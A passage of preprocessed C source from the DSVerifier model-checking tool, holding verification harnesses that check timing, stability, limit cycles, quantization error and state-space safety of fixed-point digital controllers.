# 16 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h"
int nondet_int();
float nondet_float();
extern digital_system ds;
extern implementation impl;
extern hardware hw;
int generic_timer = 0;
int verify_generic_timing(void) {
double y[X_SIZE_VALUE];
double x[X_SIZE_VALUE];
int i;
for (i = 0; i < X_SIZE_VALUE; ++i) {
y[i] = 0;
x[i] = nondet_float();
__DSVERIFIER_assume(x[i] >= impl.min && x[i] <= impl.max);
}
int Nw = 0;
Nw = ds.a_size > ds.b_size ? ds.a_size : ds.b_size;
double yaux[ds.a_size];
double xaux[ds.b_size];
double waux[Nw];
for (i = 0; i < ds.a_size; ++i) {
yaux[i] = 0;
}
for (i = 0; i < ds.b_size; ++i) {
xaux[i] = 0;
}
for (i = 0; i < Nw; ++i) {
waux[i] = 0;
}
double xk, temp;
double *aptr, *bptr, *xptr, *yptr, *wptr;
int j;
generic_timer += ((2 * hw.assembly.std) + (1 * hw.assembly.rjmp));
double initial_timer = generic_timer;
for (i = 0; i < X_SIZE_VALUE; ++i) {
generic_timer += ((2 * hw.assembly.ldd) + (1 * hw.assembly.adiw) + (2 * hw.assembly.std));
generic_timer += ((2 * hw.assembly.ldd) + (1 * hw.assembly.cpi) + (1 * hw.assembly.cpc) + (1 * hw.assembly.brlt));
# 85 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h"
y[i] = generic_timing_double_transposed_direct_form_2(waux, x[i], ds.a, ds.b, ds.a_size, ds.b_size);
double spent_time = (((double) generic_timer) * hw.cycle);
# 89 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h" 3 4
((void) sizeof ((
# 89 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h"
spent_time <= ds.sample_time
# 89 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 89 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h"
spent_time <= ds.sample_time
# 89 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h" 3 4
) ; else __assert_fail (
# 89 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h"
"spent_time <= ds.sample_time"
# 89 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h", 89, __extension__ __PRETTY_FUNCTION__); }))
# 89 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h"
;
generic_timer = initial_timer;
}
return 0;
}
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_timing_msp430.h" 1
# 16 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_timing_msp430.h"
int nondet_int();
float nondet_float();
extern digital_system ds;
extern implementation impl;
int verify_timing_msp_430(void) {
double y[X_SIZE_VALUE];
double x[X_SIZE_VALUE];
int i;
for (i = 0; i < X_SIZE_VALUE; ++i) {
y[i] = 0;
x[i] = nondet_float();
__DSVERIFIER_assume(x[i] >= impl.min && x[i] <= impl.max);
}
int Nw = 0;
Nw = ds.a_size > ds.b_size ? ds.a_size : ds.b_size;
double yaux[ds.a_size];
double xaux[ds.b_size];
double waux[Nw];
for (i = 0; i < ds.a_size; ++i) {
yaux[i] = 0;
}
for (i = 0; i < ds.b_size; ++i) {
xaux[i] = 0;
}
for (i = 0; i < Nw; ++i) {
waux[i] = 0;
}
double xk, temp;
double *aptr, *bptr, *xptr, *yptr, *wptr;
int j;
for (i = 0; i < X_SIZE_VALUE; ++i) {
# 75 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_timing_msp430.h"
y[i] = double_transposed_direct_form_2_MSP430(waux, x[i], ds.a, ds.b, ds.a_size, ds.b_size);
# 121 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_timing_msp430.h"
}
return 0;
}
# 38 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h" 1
# 21 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h"
extern digital_system ds;
extern implementation impl;
int verify_stability(void){
overflow_mode = 0;
fxp_t a_fxp[ds.a_size];
fxp_double_to_fxp_array(ds.a, a_fxp, ds.a_size);
double _a[ds.a_size];
fxp_to_double_array(_a, a_fxp, ds.a_size);
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h" 3 4
((void) sizeof ((
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h"
check_stability(_a, ds.a_size)
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h"
check_stability(_a, ds.a_size)
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h" 3 4
) ; else __assert_fail (
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h"
"check_stability(_a, ds.a_size)"
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h", 37, __extension__ __PRETTY_FUNCTION__); }))
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h"
;
# 83 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h"
return 0;
}
# 39 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_minimum_phase.h" 1
# 21 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_minimum_phase.h"
extern digital_system ds;
extern implementation impl;
int verify_minimum_phase(void){
overflow_mode = 0;
fxp_t b_fxp[ds.b_size];
fxp_double_to_fxp_array(ds.b, b_fxp, ds.b_size);
double _b[ds.b_size];
fxp_to_double_array(_b, b_fxp, ds.b_size);
__DSVERIFIER_assert(check_stability(_b, ds.b_size));
# 85 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_minimum_phase.h"
return 0;
}
# 40 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability_closedloop.h" 1
# 17 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability_closedloop.h"
extern digital_system plant;
extern digital_system plant_cbmc;
extern digital_system controller;
int verify_stability_closedloop_using_dslib(void){
double * c_num = controller.b;
int c_num_size = controller.b_size;
double * c_den = controller.a;
int c_den_size = controller.a_size;
fxp_t c_num_fxp[controller.b_size];
fxp_double_to_fxp_array(c_num, c_num_fxp, controller.b_size);
fxp_t c_den_fxp[controller.a_size];
fxp_double_to_fxp_array(c_den, c_den_fxp, controller.a_size);
double c_num_qtz[controller.b_size];
fxp_to_double_array(c_num_qtz, c_num_fxp, controller.b_size);
double c_den_qtz[controller.a_size];
fxp_to_double_array(c_den_qtz, c_den_fxp, controller.a_size);
# 48 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability_closedloop.h"
double * p_num = plant_cbmc.b;
int p_num_size = plant.b_size;
double * p_den = plant_cbmc.a;
int p_den_size = plant.a_size;
double ans_num[100];
int ans_num_size = controller.b_size + plant.b_size - 1;
double ans_den[100];
int ans_den_size = controller.a_size + plant.a_size - 1;
# 68 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability_closedloop.h"
printf("Verifying stability for closedloop function\n");
__DSVERIFIER_assert(check_stability_closedloop(ans_den, ans_den_size, p_num, p_num_size, p_den, p_den_size));
return 0;
}
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle_closedloop.h" 1
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle_closedloop.h"
extern digital_system plant;
extern digital_system plant_cbmc;
extern digital_system controller;
double nondet_double();
int verify_limit_cycle_closed_loop(void){
overflow_mode = 3;
double * c_num = controller.b;
int c_num_size = controller.b_size;
double * c_den = controller.a;
int c_den_size = controller.a_size;
fxp_t c_num_fxp[controller.b_size];
fxp_double_to_fxp_array(c_num, c_num_fxp, controller.b_size);
fxp_t c_den_fxp[controller.a_size];
fxp_double_to_fxp_array(c_den, c_den_fxp, controller.a_size);
double c_num_qtz[controller.b_size];
fxp_to_double_array(c_num_qtz, c_num_fxp, controller.b_size);
double c_den_qtz[controller.a_size];
fxp_to_double_array(c_den_qtz, c_den_fxp, controller.a_size);
# 58 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle_closedloop.h"
double * p_num = plant_cbmc.b;
int p_num_size = plant.b_size;
double * p_den = plant_cbmc.a;
int p_den_size = plant.a_size;
double ans_num[100];
int ans_num_size = controller.b_size + plant.b_size - 1;
double ans_den[100];
int ans_den_size = controller.a_size + plant.a_size - 1;
int i;
double y[X_SIZE_VALUE];
double x[X_SIZE_VALUE];
double xaux[ans_num_size];
double nondet_constant_input = nondet_double();
__DSVERIFIER_assume(nondet_constant_input >= impl.min && nondet_constant_input <= impl.max);
for (i = 0; i < X_SIZE_VALUE; ++i) {
x[i] = nondet_constant_input;
y[i] = 0;
}
for (i = 0; i < ans_num_size; ++i) {
xaux[i] = nondet_constant_input;
}
double yaux[ans_den_size];
double y0[ans_den_size];
int Nw = ans_den_size > ans_num_size ? ans_den_size : ans_num_size;
double waux[Nw];
double w0[Nw];
# 105 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle_closedloop.h"
for (i = 0; i < Nw; ++i) {
waux[i] = nondet_int();
__DSVERIFIER_assume(waux[i] >= impl.min && waux[i] <= impl.max);
w0[i] = waux[i];
}
double xk, temp;
double *aptr, *bptr, *xptr, *yptr, *wptr;
int j;
for(i=0; i<X_SIZE_VALUE; ++i){
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle_closedloop.h"
y[i] = double_transposed_direct_form_2(waux, x[i], ans_den, ans_num, ans_den_size, ans_num_size);
}
double_check_persistent_limit_cycle(y, X_SIZE_VALUE);
return 0;
}
# 42 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_closedloop.h" 1
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_closedloop.h"
extern digital_system plant;
extern digital_system plant_cbmc;
extern digital_system controller;
int verify_error_closedloop(void){
overflow_mode = 3;
double * c_num = controller.b;
int c_num_size = controller.b_size;
double * c_den = controller.a;
int c_den_size = controller.a_size;
fxp_t c_num_fxp[controller.b_size];
fxp_double_to_fxp_array(c_num, c_num_fxp, controller.b_size);
fxp_t c_den_fxp[controller.a_size];
fxp_double_to_fxp_array(c_den, c_den_fxp, controller.a_size);
double c_num_qtz[controller.b_size];
fxp_to_double_array(c_num_qtz, c_num_fxp, controller.b_size);
double c_den_qtz[controller.a_size];
fxp_to_double_array(c_den_qtz, c_den_fxp, controller.a_size);
# 56 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_closedloop.h"
double * p_num = plant_cbmc.b;
int p_num_size = plant.b_size;
double * p_den = plant_cbmc.a;
int p_den_size = plant.a_size;
double ans_num_double[100];
double ans_num_qtz[100];
int ans_num_size = controller.b_size + plant.b_size - 1;
double ans_den_qtz[100];
double ans_den_double[100];
int ans_den_size = controller.a_size + plant.a_size - 1;
# 77 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_closedloop.h"
int i;
double y_qtz[X_SIZE_VALUE];
double y_double[X_SIZE_VALUE];
double x_qtz[X_SIZE_VALUE];
double x_double[X_SIZE_VALUE];
double xaux_qtz[ans_num_size];
double xaux_double[ans_num_size];
double xaux[ans_num_size];
double nondet_constant_input = nondet_double();
__DSVERIFIER_assume(nondet_constant_input >= impl.min && nondet_constant_input <= impl.max);
for (i = 0; i < X_SIZE_VALUE; ++i) {
x_qtz[i] = nondet_constant_input;
x_double[i] = nondet_constant_input;
y_qtz[i] = 0;
y_double[i] = 0;
}
for (i = 0; i < ans_num_size; ++i) {
xaux_qtz[i] = nondet_constant_input;
xaux_double[i] = nondet_constant_input;
}
double yaux_qtz[ans_den_size];
double yaux_double[ans_den_size];
double y0_qtz[ans_den_size];
double y0_double[ans_den_size];
int Nw = ans_den_size > ans_num_size ? ans_den_size : ans_num_size;
double waux_qtz[Nw];
double waux_double[Nw];
double w0_qtz[Nw];
double w0_double[Nw];
for (i = 0; i < Nw; ++i) {
waux_qtz[i] = 0;
waux_double[i] = 0;
}
for(i=0; i<X_SIZE_VALUE; ++i){
# 150 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_closedloop.h"
y_qtz[i] = double_transposed_direct_form_2(waux_qtz, x_qtz[i], ans_den_qtz, ans_num_qtz, ans_den_size, ans_num_size);
y_double[i] = double_transposed_direct_form_2(waux_double, x_double[i], ans_den_double, ans_num_double, ans_den_size, ans_num_size);
double absolute_error = y_double[i] - fxp_to_double(y_qtz[i]);
__DSVERIFIER_assert(absolute_error < (impl.max_error) && absolute_error > (-impl.max_error));
}
return 0;
}
# 43 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 1
# 20 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
extern digital_system_state_space _controller;
extern double error_limit;
extern int closed_loop;
double new_state[4][4];
double new_stateFWL[4][4];
digital_system_state_space _controller_fxp;
digital_system_state_space _controller_double;
double ss_system_quantization_error(fxp_t inputs){
digital_system_state_space __backupController;
int i;
int j;
_controller.inputs[0][0] = inputs;
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
__backupController.A[i][j]= (_controller.A[i][j]);
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nInputs;j++){
__backupController.B[i][j]= (_controller.B[i][j]);
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<nStates;j++){
__backupController.C[i][j]= (_controller.C[i][j]);
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<nInputs;j++){
__backupController.D[i][j]= (_controller.D[i][j]);
}
}
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
__backupController.states[i][j]= (_controller.states[i][j]);
}
}
for(i=0; i<nInputs;i++){
for(j=0; j<1;j++){
__backupController.inputs[i][j]= (_controller.inputs[i][j]);
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<1;j++){
__backupController.outputs[i][j]= (_controller.outputs[i][j]);
}
}
double __quant_error = 0.0;
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
_controller.states[i][j]= (new_state[i][j]);
}
}
double output_double = double_state_space_representation();
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
new_state[i][j]= (_controller.states[i][j]);
}
}
__backupController.inputs[0][0] = inputs;
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
_controller.A[i][j] = __backupController.A[i][j];
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nInputs;j++){
_controller.B[i][j] = __backupController.B[i][j];
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<nStates;j++){
_controller.C[i][j] = __backupController.C[i][j];
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<nInputs;j++){
_controller.D[i][j] = __backupController.D[i][j];
}
}
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
_controller.states[i][j] = __backupController.states[i][j];
}
}
for(i=0; i<nInputs;i++){
for(j=0; j<1;j++){
_controller.inputs[i][j] = __backupController.inputs[i][j];
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<1;j++){
_controller.outputs[i][j] = __backupController.outputs[i][j];
}
}
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
_controller.states[i][j]= (new_stateFWL[i][j]);
}
}
double output_fxp = fxp_state_space_representation();
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
new_stateFWL[i][j]= (_controller.states[i][j]);
}
}
__quant_error = output_double - output_fxp;
return __quant_error;
}
double fxp_ss_closed_loop_quantization_error(double reference){
double reference_aux[4][4];
double result1[4][4];
double temp_result1[4][4];
double result2[4][4];
double temp_states[4][4];
fxp_t K_fxp[4][4];
fxp_t states_fxp[4][4];
fxp_t result_fxp[4][4];
unsigned int i;
unsigned int j;
unsigned int k;
short unsigned int flag = 0;
for(i=0; i<nOutputs;i++){
for(j=0; j<nInputs;j++){
if(_controller_fxp.D[i][j] != 0){
flag = 1;
}
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
reference_aux[i][j]=0;
K_fxp[i][j] = 0;
}
}
for(i=0; i<nInputs;i++){
reference_aux[i][0]= reference;
}
for(i=0; i<4;i++){
states_fxp[i][0]=0;
}
for(i=0; i<nStates;i++){
K_fxp[0][i]= fxp_double_to_fxp(_controller_fxp.K[0][i]);
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
result1[i][j]=0;
result2[i][j]=0;
}
}
for(k=0; k<nStates;k++)
{
states_fxp[k][0]= fxp_double_to_fxp(_controller_fxp.states[k][0]);
}
fxp_matrix_multiplication(nOutputs,nStates,nStates,1,K_fxp,states_fxp,result_fxp);
fxp_t reference_fxp[4][4];
fxp_t result_fxp2[4][4];
for(k=0;k<nInputs;k++)
{
reference_fxp[k][0] =fxp_double_to_fxp(fxp_quantize(reference_aux[k][0]));
}
fxp_sub_matrix(nInputs,1, reference_fxp, result_fxp, result_fxp2);
for(k=0; k<nInputs;k++)
{
_controller_fxp.inputs[k][0] = fxp_to_double(fxp_quantize(result_fxp2[k][0]));
}
double_matrix_multiplication(nOutputs,nStates,nStates,1,_controller_fxp.C,_controller_fxp.states,result1);
if(flag == 1)
{
double_matrix_multiplication(nOutputs,nInputs,nInputs,1,_controller_fxp.D,_controller_fxp.inputs,result2);
}
double_add_matrix(nOutputs,1,result1,result2,_controller_fxp.outputs);
double_matrix_multiplication(nStates,nStates,nStates,1,_controller_fxp.A,_controller_fxp.states,result1);
double_matrix_multiplication(nStates,nInputs,nInputs,1,_controller_fxp.B,_controller_fxp.inputs,result2);
double_add_matrix(nStates,1,result1,result2,_controller_fxp.states);
return _controller_fxp.outputs[0][0];
}
double ss_closed_loop_quantization_error(double reference){
double reference_aux[4][4];
double result1[4][4];
double result2[4][4];
unsigned int i;
unsigned int j;
short unsigned int flag = 0;
for(i=0; i<nOutputs;i++){
for(j=0; j<nInputs;j++){
if(_controller_double.D[i][j] != 0){
flag = 1;
}
}
}
for(i=0; i<nInputs;i++){
for(j=0; j<1;j++){
reference_aux[i][j]= reference;
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
result1[i][j]=0;
result2[i][j]=0;
}
}
double_matrix_multiplication(nOutputs,nStates,nStates,1,_controller_double.K,_controller_double.states,result1);
double_sub_matrix(nInputs,1,reference_aux,result1, _controller_double.inputs);
double_matrix_multiplication(nOutputs,nStates,nStates,1,_controller_double.C,_controller_double.states,result1);
if(flag == 1)
double_matrix_multiplication(nOutputs,nInputs,nInputs,1,_controller_double.D,_controller_double.inputs,result2);
double_add_matrix(nOutputs,1,result1,result2,_controller_double.outputs);
double_matrix_multiplication(nStates,nStates,nStates,1,_controller_double.A,_controller_double.states,result1);
double_matrix_multiplication(nStates,nInputs,nInputs,1,_controller_double.B,_controller_double.inputs,result2);
double_add_matrix(nStates,1,result1,result2,_controller_double.states);
return _controller_double.outputs[0][0];
}
int verify_error_state_space(void){
int i,j;
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
new_state[i][j]= (_controller.states[i][j]);
}
}
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
new_stateFWL[i][j]= (_controller.states[i][j]);
}
}
_controller_fxp = _controller;
_controller_double = _controller;
overflow_mode = 0;
fxp_t x[0];
fxp_t min_fxp = fxp_double_to_fxp(impl.min);
fxp_t max_fxp = fxp_double_to_fxp(impl.max);
double nondet_constant_input = nondet_double();
__DSVERIFIER_assume(nondet_constant_input >= min_fxp && nondet_constant_input <= max_fxp);
for (i = 0; i < 0; ++i) {
x[i] = nondet_constant_input;
}
double __quant_error;
if(closed_loop){
for (i = 0; i < 0; ++i) {
__quant_error = ss_closed_loop_quantization_error(x[i]) - fxp_ss_closed_loop_quantization_error(x[i]);
# 354 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 3 4
((void) sizeof ((
# 354 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
__quant_error < error_limit && __quant_error > ((-1)*error_limit)
# 354 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 354 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
__quant_error < error_limit && __quant_error > ((-1)*error_limit)
# 354 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 3 4
) ; else __assert_fail (
# 354 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
"__quant_error < error_limit && __quant_error > ((-1)*error_limit)"
# 354 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h", 354, __extension__ __PRETTY_FUNCTION__); }))
# 354 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
;
}
}
else {
for (i=0; i < 0; i++)
{
__quant_error = ss_system_quantization_error(x[i]);
# 361 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 3 4
((void) sizeof ((
# 361 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
__quant_error < error_limit && __quant_error > ((-1)*error_limit)
# 361 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 361 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
__quant_error < error_limit && __quant_error > ((-1)*error_limit)
# 361 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 3 4
) ; else __assert_fail (
# 361 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
"__quant_error < error_limit && __quant_error > ((-1)*error_limit)"
# 361 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h", 361, __extension__ __PRETTY_FUNCTION__); }))
# 361 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
;
}
}
return 0;
}
# 44 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h" 1
# 17 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h"
extern digital_system_state_space _controller;
extern double error_limit;
extern int closed_loop;
double fxp_ss_closed_loop_safety(){
double reference[4][4];
double result1[4][4];
double result2[4][4];
fxp_t K_fpx[4][4];
fxp_t outputs_fpx[4][4];
fxp_t result_fxp[4][4];
unsigned int i;
unsigned int j;
unsigned int k;
short unsigned int flag = 0;
for(i=0; i<nOutputs;i++){
for(j=0; j<nInputs;j++){
if(_controller.D[i][j] != 0){
flag = 1;
}
}
}
for(i=0; i<nInputs;i++){
for(j=0; j<1;j++){
reference[i][j]= (_controller.inputs[i][j]);
}
}
for(i=0; i<nInputs;i++){
for(j=0; j<nOutputs;j++){
K_fpx[i][j]=0;
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<1;j++){
outputs_fpx[i][j]=0;
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
result_fxp[i][j]=0;
}
}
for(i=0; i<nInputs;i++){
for(j=0; j<nOutputs;j++){
K_fpx[i][j]= fxp_double_to_fxp(_controller.K[i][j]);
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
result1[i][j]=0;
result2[i][j]=0;
}
}
for (i = 1; i < 0; i++) {
double_matrix_multiplication(nOutputs,nStates,nStates,1,_controller.C,_controller.states,result1);
if(flag == 1){
double_matrix_multiplication(nOutputs,nInputs,nInputs,1,_controller.D,_controller.inputs,result2);
}
double_add_matrix(nOutputs,
1,
result1,
result2,
_controller.outputs);
for(k=0; k<nOutputs;k++){
for(j=0; j<1;j++){
outputs_fpx[k][j]= fxp_double_to_fxp(_controller.outputs[k][j]);
}
}
fxp_matrix_multiplication(nInputs,nOutputs,nOutputs,1,K_fpx,outputs_fpx,result_fxp);
for(k=0; k<nInputs;k++){
for(j=0; j<1;j++){
result1[k][j]= fxp_to_double(result_fxp[k][j]);
}
}
printf("### fxp: U (before) = %.9f", _controller.inputs[0][0]);
printf("### fxp: reference = %.9f", reference[0][0]);
printf("### fxp: result1 = %.9f", result1[0][0]);
printf("### fxp: reference - result1 = %.9f", (reference[0][0] - result1[0][0]));
double_sub_matrix(nInputs,
1,
reference,
result1,
_controller.inputs);
printf("### fxp: Y = %.9f", _controller.outputs[0][0]);
printf("### fxp: U (after) = %.9f \n### \n### ", _controller.inputs[0][0]);
double_matrix_multiplication(nStates,nStates,nStates,1,_controller.A,_controller.states,result1);
double_matrix_multiplication(nStates,nInputs,nInputs,1,_controller.B,_controller.inputs,result2);
double_add_matrix(nStates,
1,
result1,
result2,
_controller.states);
}
return _controller.outputs[0][0];
}
int verify_safety_state_space(void){
fxp_t output_fxp = fxp_ss_closed_loop_safety();
double output_double = fxp_to_double(output_fxp);
